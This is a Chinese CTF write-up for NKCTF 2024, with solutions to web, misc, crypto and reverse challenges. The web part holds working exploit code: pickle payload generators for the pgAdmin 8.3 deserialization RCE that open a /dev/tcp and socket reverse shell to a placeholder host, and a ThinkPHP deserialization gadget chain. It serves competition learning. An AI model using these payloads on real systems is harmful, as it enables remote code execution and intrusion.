很好的比赛(没想到题目质量都挺不错的... 早知道多打打了...)
Web
my first cms
难绷 是真没想到Admin123...
开局先扫
/admin/login.php
弱口令 admin/Admin123登陆
这种CMS首先关注plugin模块 有没有能自定义上传或者执行的
写一个php RCE 然后run
attack_tacooooo
tacooooo师傅用自己的扣扣邮箱在平台上注册了一个用户用来管理数据库,但是最近好像被攻击了,请你帮他排查一下吧!
尝试邮箱密码登陆 tacooooo@qq.com/ tacooooo
结合版本 pgAdmin4 8.3 搜对应漏洞
Shielder - pgAdmin (<=8.3) Path Traversal in Session Handling Leads to Unsafe Deserialization and Remote Code Execution (RCE)
跟着打
改一改反弹shell
两种打法:
import struct
import sys
def produce_pickle_bytes(platform, cmd):
b = b'\x80\x04\x95'
b += struct.pack('L', 22 + len(platform) + len(cmd))
b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
b += b'\x94\x8c\x06system\x94\x93\x94'
b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
b += b'\x94\x85\x94R\x94.'
print(b)
return b
if __name__ == '__main__':
# if len(sys.argv) != 2:
# exit(f"usage: {sys.argv[0]} ip:port")
# with open('nt.pickle', 'wb') as f:
# f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
with open('posix.pickle', 'wb') as f:
f.write(produce_pickle_bytes('posix', f"/bin/sh -i >& /dev/tcp/ip/port 0>&1"))
import pickle
import os
import pickletools
class exp():
def __reduce__(self):
return (exec, ("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);",))
if __name__ == '__main__':
c = exp()
payload = pickle.dumps(c)
with open('posix.pickle', 'wb') as f:
f.write(payload)
用过就是熟悉
tp反序列化
靶机没了 附件给了docker可以本地打
找反序列化利用链
入口点:
index.class.php
找 __destruct
选择 Windows.php
下的
点号拼接可以触发__toString
找Collection.php
下的
跟进toArray
访问一个不存在属性可以触发__get
只有View.php
有
调用对象不存在的方法可以触发__call
先找Testone
下的
注意到Testone是抽象类 无法实例化对象 要找一个继承的
可以拿hint 但是要爆破文件名
先写exp: 注意 protected/private/public 以及有些传数组的键值
<?php
// Windows.php
namespace think\process\pipes{
class Windows{
private $files;
public function __construct($file){
$this->files = [$file];
}
}
}
// Collection.php
namespace think{
class Collection{
protected $items;
public function __construct($item){
$this->items = $item;
}
}
}
// View.php
namespace think{
class View{
protected $data;
public $engine = array("time"=>"10086");
public function __construct($data){
$this->data = array("Loginout"=>$data);
}
}
}
// Testone.php
// 注意 Testone是抽象类不能实例化
namespace think{
abstract class Testone{}
}
// Debug.php
namespace think{
class Debug extends Testone{}
}
// exp
namespace {
$Debug = new \think\Debug();
$View = new think\View($Debug);
$Collection = new think\Collection($View);
$Windows = new think\process\pipes\Windows($Collection);
echo base64_encode(serialize($Windows));
}
bp抓包看看登陆请求的格式
照着格式发包写脚本爆破文件名
import hashlib
import time
import requests
url = "http://127.0.0.1:3101/?user/index/loginSubmit"
data = {
"name":"guest",
"password":"TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE2OiJ0aGlua1xDb2xsZWN0aW9uIjoxOntzOjg6IgAqAGl0ZW1zIjtPOjEwOiJ0aGlua1xWaWV3IjoyOntzOjc6IgAqAGRhdGEiO2E6MTp7czo4OiJMb2dpbm91dCI7TzoxMToidGhpbmtcRGVidWciOjA6e319czo2OiJlbmdpbmUiO2E6MTp7czo0OiJ0aW1lIjtzOjU6IjEwMDg2Ijt9fX19fQ==",
"rememberPassword":"1",
"salt":"1",
"CSRF_TOKEN":"NAsttPjzKH4RbiNA",
"API_ROUTE":"user/index/loginSubmit"
}
res = requests.post(url,data=data)
time = int(time.time())
for i in range(time-100,time+100):
md5 = hashlib.md5(str(i).encode()).hexdigest()
_url = "http://127.0.0.1:3101/app/controller/user/think/"+str(md5)
res = requests.get(url=_url)
# print(res.text)
if '在线CAD预览' not in res.text:
print(md5)
print(res.text)
break
由于是本地打 所以只拿到了 这里有hint
的文件
继续跟着WP云复现...
拿到Hint是一段话
注意到这句:密码的明文+Chu0
说明登陆密码是加密过的
翻翻前面 index.class.php的登陆处
调用了Mcrypt.class.php
解密
看了看就是md5得到密钥然后RC4 但是我们可以直接本地调用即可 不需要自己写
然后前五位在前面一段话的请求包里面
把 Mcrypt class复制过来跑一遍
根据提示加上Chu0 => !@!@!@!@NKCTFChu0
成功登陆
在回收站找到一个html文档 本地啥都没有 靶机上会给一个shell
然后稍微改改exp 利用这个call
Config.php里面的
exp:
getshell后即可找到flag
很不错的题 可惜比赛没看...
Misc
webshell_pro
hint.py那道一个RSA+b64替换加密
出题人RSA用的d加密e解密...
U2FsdGVkX1+SslS2BbHfe3c4/t/KxLaM6ZFlOdbtfMHnG8lepnhMnde40tNOYjSvoErLzy0csL7c5d4TlMntBQ==
得到密文和key 直接解AES
在线AES加密 | AES解密 - 在线工具
Crypto
ezMath
from Crypto.Util.number import *
from secret import flag
m1, m2 = bytes_to_long(flag[:len(flag)//2]), bytes_to_long(flag[len(flag)//2:])
p, q, r, s = [getStrongPrime(512) for _ in range(4)]
e = 0x10001
n = p * q * r * s
x = pow(q + r, p, n)
y = pow(p * q + r, p, n)
z = pow(s + 1, m1, s ** 3)
c = pow(m2, e * (s - 1), n)
print(f'{n = }')
print(f'{x = }')
print(f'{y = }')
print(f'{z = }')
print(f'{c = }')
# n = 16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013
# x = 3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458
# y = 8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998
# z = 1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251
# c = 4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870
首先要分解n
由
x = pow(q + r, p, n)
y = pow(p * q + r, p, n)
很容易想到两边改为modp 利用费马小定理消掉指数
得到
x = q+r mod p
y = pq+r = r mod p
这样 gcd(x-y,n)
=> q
又 y-x+q = pq
=> pq = gcd(y-x+q,n)
=> p
=> r = x-q mod p
=> s
分解过后第一段是一个二项式展开解m1(也可以sage直接解) 第二个有限域开方即可
求出第一段发现长度为21 所以bit为168 所以第二个可以转到mod p下求解
n = 16063619267258988011034805988633616492558472337115259037200126862563048933118401979462064790962157697989038876156970157178132518189429914950166878537819575544418107719419007799951815657212334175336430766777427972314839713871744747439745897638084891777417411340564312381163685003204182743581513722530953822420925665928135283753941119399766754107671729392716849464530701015719632309411962242638805053491529098780122555818774774959577492378249768503656934696409965037843388835948033129997732058133842695370074265039977902884020467413323500218577769082193651281154702147769044514475692164145099161948955990463002411473013
x = 3021730035236300354492366560252387204933590210661279960796549263827016146230329262559940840168033978439210301546282150367717272453598367244078695402717500358042032604007007155898199149948267938948641512214616076878271433754986480186150178487625316601499002827958344941689933374158456614113935145081427421623647242719093642478556263121508238995676370877385638074444859047640771188280945186355013165130171802867101829647797879344213688981448535289683363612035513789240264618036062440178755665951650666056478493289870170026121826588708849844053588998886259091357236645819074078054595561158630194224419831088510266212458
y = 8995787142441643101775260550632842535051686960331455373408888374295557050896156890779515089927839904014859222004906681231525326673182671984194300730575609496770604394218160422560576866112460837985407931067753009696969997384839637927957848613356269534870170452152926447601781637641134982178028922559652443398183848786034348994249923007092159192374765197460466878587635412657807328348343062302127490267456095927890461140420639805398464266081441243108883599713672104446500850203779995739675784794478089863001309614674686652597236324659979849324914804032046113978246674538411441434320732570934185579553749616238819583998
z = 1283646988194723153191718393109711130382429329041718186548715246082834666179475883560020086589684603980734305610989683434078096863563033623169666389076830792095374856743015929373461198718962686411467443788047511292138922700655772772117855226419561159782734009961921473456332468653898105909729309377890721920937410781006337057478451806364879679045839945032594716202888196404203782734864187890231653321470085251
c = 4988583141177813116287729619098477713529507701428689219486720439476625736884177254107631282807612305211904876847916760967188201601494592359879509876201418493870112712105543214178376471651715703062382025712952561985261461883133695993952914519494709871429166239968478488380137336776740647671348901626710334330855078254188539448122493675463406596681080368929986034772169421577420193671300532508625180845417164660544286332963072804192276425664877337357353975758574262657585309762422727680851018467657523970318042829660721433987195369353660020476598195375492128671951807024027929490113371463210453342974983253996717176870
from gmpy2 import *
from libnum import *
q = gcd(x-y,n)
pq = gcd(y-x+q,n)
p = pq//q
r = (x-q)%p
s = n//(p*q*r)
assert(p*q*r*s == n)
e = 0x10001
R = Zp(s,prec=3)
m1 = int((R(z).log()/R(s+1).log()).lift())
flag1 = n2s(int(m1))
print(flag1)
phi = (p-1)
e = e*(s-1)
print(gcd(e,phi)) # 4
e //= 4
d = ZZ(inverse_mod(e,p-1))
Gp = GF(p)
kd = Gp(pow(c,d,p))
PR.<x> = PolynomialRing(Gp)
f = x^4 - kd
f = f.monic()
for root in f.roots():
flag = flag1+n2s(int(root[0]))
print(flag)
nkctf{cb5b7392-cca4-4ce2-87e7-930cf6b29959}
Reverse
看着前两道不难 就没上机做了 没想到第一道还改了SBOX...
loginsystem
首先username的check是sub_122A
处的一个z3
解出来 user01_nkctf2024
然后passwd的check是一个xor+一个AES
xor解出来 uSer1p4ss
找到AES的表
找个脚本换个S INVS 解得 9ee779cd2abcde48
拼一下:
md5(user01_nkctf2024uSer1p4ss_9ee779cd2abcde48
)
REEZ
加了一点点ollvm混淆 直接D810
中间会释放一个outputfile 这才是真正的主函数 后面执行了rm -rf 操作
直接动调断在中间得到文件即可
IDA看outputfile
其实就是实现了一个类矩阵乘法
就是外层又套了一个函数... 直接抄下来丢进z3...
注意界卡死一点: 0~127 放到128都unsat...
from z3 import *
s = Solver()
x = [BitVec('x%d' % i, 8) for i in range(25)]
for i in x:
s.add(i>0)
s.add(i<=127)
input_inv = x[::-1]
input_inv[24] = -105 * (39 * (2 * (input_inv[24] & (-105 * (39 * (2 * (input_inv[13] & (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111)) + (input_inv[13] ^ (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111))) + 23) + 111)) + (input_inv[24] ^ (-105 * (39 * (2 * (input_inv[13] & (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111)) + (input_inv[13] ^ (-105 * (39 * (2 * (input_inv[14] & 3) + (input_inv[14] ^ 3)) + 23) + 111))) + 23) + 111))) + 23) + 111
input_inv[23] = -105* (39* (2 * ((input_inv[11] ^ input_inv[10]) & input_inv[23])+ (input_inv[11] ^ input_inv[10] ^ input_inv[23]))+ 23)+ 111;
input_inv[22] = -105* (39* (2* (input_inv[22] & (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111))+ (input_inv[22] ^ (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111)))+ 23)+ 111;
input_inv[21] = -105* (39 * (2 * ((input_inv[7] ^ 0x17) & input_inv[21]) + (input_inv[7] ^ 0x17 ^ input_inv[21])) + 23)+ 111;
input_inv[20] = -105* (39* (2* (input_inv[20] & (-105* (39 * (2 * (input_inv[4] & (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111)) + (input_inv[4] ^ (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111))) + 23)+ 111))+ (input_inv[20] ^ (-105* (39 * (2 * (input_inv[4] & (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111)) + (input_inv[4] ^ (-105 * (39 * (2 * (input_inv[15] & 0xFB) + (input_inv[15] ^ 0xFB)) + 23) + 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[19] = -105* (39* (2 * (input_inv[19] & (~input_inv[1] + input_inv[3] + 1))+ (input_inv[19] ^ (~input_inv[1] + input_inv[3] + 1)))+ 23)+ 111;
input_inv[18] = -105* (39* (2* (input_inv[18] & (-105* (39 * (2 * (input_inv[16] & input_inv[17]) + (input_inv[16] ^ input_inv[17])) + 23)+ 111))+ (input_inv[18] ^ (-105* (39 * (2 * (input_inv[16] & input_inv[17]) + (input_inv[16] ^ input_inv[17])) + 23)+ 111)))+ 23)+ 111;
input_inv[17] = -105* (39* (2* (input_inv[17] & (-105* (39 * (2 * ((~input_inv[4] + input_inv[1] + 1) & 0x11) + ((~input_inv[4] + input_inv[1] + 1) ^ 0x11)) + 23)+ 111))+ (input_inv[17] ^ (-105* (39 * (2 * ((~input_inv[4] + input_inv[1] + 1) & 0x11) + ((~input_inv[4] + input_inv[1] + 1) ^ 0x11)) + 23)+ 111)))+ 23)+ 111;
input_inv[16] = -105* (39* (2* (input_inv[16] & (input_inv[5] ^ (-105 * (39 * (2 * (input_inv[6] & 1) + (input_inv[6] ^ 1)) + 23)+ 111)))+ (input_inv[16] ^ input_inv[5] ^ (-105 * (39 * (2 * (input_inv[6] & 1) + (input_inv[6] ^ 1)) + 23) + 111)))+ 23)+ 111;
input_inv[15] = ~input_inv[8]+ -105 * (39 * (2 * (input_inv[7] & input_inv[15]) + (input_inv[7] ^ input_inv[15])) + 23)+ 111+ 1;
input_inv[14] = -105* (39* (2* (input_inv[14] & (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111))+ (input_inv[14] ^ (-105* (39 * (2 * (input_inv[10] & input_inv[9]) + (input_inv[10] ^ input_inv[9])) + 23)+ 111)))+ 23)+ 111;
input_inv[13] = -105* (39* (2* (input_inv[12] & (-105* (39 * (2 * (input_inv[11] & (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111)) + (input_inv[11] ^ (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111))) + 23)+ 111))+ (input_inv[12] ^ (-105* (39 * (2 * (input_inv[11] & (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111)) + (input_inv[11] ^ (-105* (39 * (2 * (input_inv[13] & 0xF9) + (input_inv[13] ^ 0xF9)) + 23)+ 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[12] = -105 * (39 * (2 * (input_inv[12] & input_inv[13]) + (input_inv[12] ^ input_inv[13])) + 23) + 111;
input_inv[11] = -105* (39* (2 * (input_inv[11] & (input_inv[17] ^ input_inv[16]))+ (input_inv[11] ^ input_inv[17] ^ input_inv[16]))+ 23)+ 111;
input_inv[10] = -105* (39* (2* (input_inv[19] & (-105* (39 * (2 * (input_inv[20] & (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111)) + (input_inv[20] ^ (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111))) + 23)+ 111))+ (input_inv[19] ^ (-105* (39 * (2 * (input_inv[20] & (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111)) + (input_inv[20] ^ (-105* (39 * (2 * (input_inv[10] & 0xC) + (input_inv[10] ^ 0xC)) + 23)+ 111))) + 23)+ 111)))+ 23)+ 111;
input_inv[9] = -105* (39* (2 * (input_inv[21] & (-105 * (39 * (2 * (input_inv[9] & 8) + (input_inv[9] ^ 8)) + 23) + 111))+ (input_inv[21] ^ (-105 * (39 * (2 * (input_inv[9] & 8) + (input_inv[9] ^ 8)) + 23) + 111)))+ 23)+ 111;
input_inv[8] = -105* (39 * (2 * ((input_inv[22] ^ 0x4D) & input_inv[8]) + (input_inv[22] ^ 0x4D ^ input_inv[8])) + 23)+ 111;
input_inv[7] = -105* (39* (2* (input_inv[7] & (-105 * (39 * (2 * ((input_inv[23] ^ 0x17) & 0xF9) + (input_inv[23] ^ 0xEE)) + 23) + 111))+ (input_inv[7] ^ (-105 * (39 * (2 * ((input_inv[23] ^ 0x17) & 0xF9) + (input_inv[23] ^ 0xEE)) + 23) + 111)))+ 23)+ 111;
input_inv[6] = -105* (39* (2 * ((input_inv[7] ^ input_inv[9]) & input_inv[6]) + (input_inv[7] ^ input_inv[9] ^ input_inv[6]))+ 23)+ 111;
input_inv[5] = -105* (39* (2* (input_inv[12] & (-105 * (39 * (2 * (input_inv[10] & input_inv[5]) + (input_inv[10] ^ input_inv[5])) + 23) + 111))+ (input_inv[12] ^ (-105 * (39 * (2 * (input_inv[10] & input_inv[5]) + (input_inv[10] ^ input_inv[5])) + 23) + 111)))+ 23)+ 111;
input_inv[4] = -105 * (39 * (2 * (input_inv[4] & input_inv[13]) + (input_inv[4] ^ input_inv[13])) + 23) + 111;
input_inv[3] = -105* (39* (2* (input_inv[16] & (-105 * (39 * (2 * (input_inv[3] & input_inv[18]) + (input_inv[3] ^ input_inv[18])) + 23) + 111))+ (input_inv[16] ^ (-105 * (39 * (2 * (input_inv[3] & input_inv[18]) + (input_inv[3] ^ input_inv[18])) + 23) + 111)))+ 23)+ 111;
input_inv[2] = -105 * (39 * (2 * (input_inv[19] & input_inv[2]) + (input_inv[19] ^ input_inv[2])) + 23) + 111;
input_inv[1] = -105* (39* (2 * ((input_inv[24] ^ input_inv[22]) & input_inv[1]) + (input_inv[24] ^ input_inv[22] ^ input_inv[1]))+ 23)+ 111;
input_inv[0] = -105* (39* (2 * (input_inv[0] & (-105 * (39 * (2 * (input_inv[23] & 0x18) + (input_inv[23] ^ 0x18)) + 23) + 111))+ (input_inv[0] ^ (-105 * (39 * (2 * (input_inv[23] & 0x18) + (input_inv[23] ^ 0x18)) + 23) + 111)))+ 23)+ 111;
input_inv = input_inv[::-1]
dword_2010 = 0x00000000, 0xFFFFFFFE, 0xFFFFFFFF, 0x00000004, 0x00000001, 0xFFFFFFFF, 0x00000001, 0x00000000, 0x00000000, 0xFFFFFFFF, 0xFFFFFFFD, 0xFFFFFFFE, 0x00000000, 0xFFFFFFF6, 0xFFFFFFFF, 0xFFFFFFFF, 0xFFFFFFFE, 0x00000001, 0xFFFFFFF3, 0xFFFFFFFF, 0xFFFFFFFA, 0xFFFFFFFF, 0xFFFFFFFE, 0x00000001, 0xFFFFFFFE, 0x00000000, 0x00000000, 0x00000000
out = [0] * 25
for a in range(5):
for b in range(5):
v13 = 0
for c in range(5):
v3 = dword_2010[5 * a + c] * input_inv[5 * c + b]
v13 = -105 * (39 * (2 * (v13 & v3) + (v13 ^ v3)) + 23) + 111
out[5 * a + b] = v13
result1 = bytes.fromhex('3244AA56633D2B09CD34993C56B899DE261F7E0B42C21BEBF5')
result2 = [0x44, 0x30, 0x5F, 0x79, 0x30, 0x75, 0x5F, 0x4C, 0x69, 0x6B, 0x65, 0x5F, 0x57, 0x68, 0x61, 0x74, 0x5F, 0x59, 0x6F, 0x75, 0x5F, 0x53, 0x65, 0x65, 0x3F]
for i in range(25):
s.add(out[i] == result1[i] ^ result2[i])
assert (s.check() == sat)
model = s.model()
for i in x:
print(chr(model[i].as_long()),end = '')
NKCTF{THut_1Ss_s@_eAsyhh}
EzNative
以前见到安卓就溜... 还是要学学
题目描述nian菜鸡在逆向一个app时不小心把没更新到最新版的源文件删掉了,只剩下了最新版的apk和一个分析过的i64文件,你能帮他逆完剩下的过程找到flag吗
给了idb其实就好多了 符号恢复后可以看大致逻辑
findcrypt发现base64表
跟进inputtttt_main_MyBody::_anon_closure_35534c
函数
注意到下面有一个F5没有显示的分支
showdialog-> 应该是打印正确/错误
翻DartObjectPool
结构体
可以看到最后密文是b64形式
b64前还经过了加密 回溯找inputtttt_main_MyBody::_anon_closure_35534c
inputtttt_enen_XX::encryptToString_35592c
dart_convert_Codec::encode_342da0
inputtttt_enen_XX::encrypt_355994
inputtttt_enen_XX::_etL_355b20
v14前面赋值了52
一个标准的xxtea加密
所以总体加密思路就是xxtea后b64
接下来就是找xxtea的key
注意到前面的generalMD5
跟进找到
在结构体找
所以是对 inputtttt
md5后作为xxtea的key
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(uint32_t* v, int n, uint32_t* key)
{
uint32_t y, z, sum;
unsigned p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
char v[] = "\x50\x0b\x05\xbe\xcd\xed\x0f\x24\xf1\x14\xf1\x9b\xed\x66\xf2\x05\x84\xa6\xd3\x95\x56\xac\x9c\x60\x8c\x0a\xe3\xf6\x6c\x78\xf7\x4a\x5f\x1f\x52\xce";
uint32_t* k = (uint32_t*)"17a389e9efdad7cecbbed97fc85ecba4";
int n= -9;
btea((uint32_t*)v, n, k);
puts(v);
return 0;
}
NKCTF{f1uTt3r_iS_s0_Easy_y3ah!}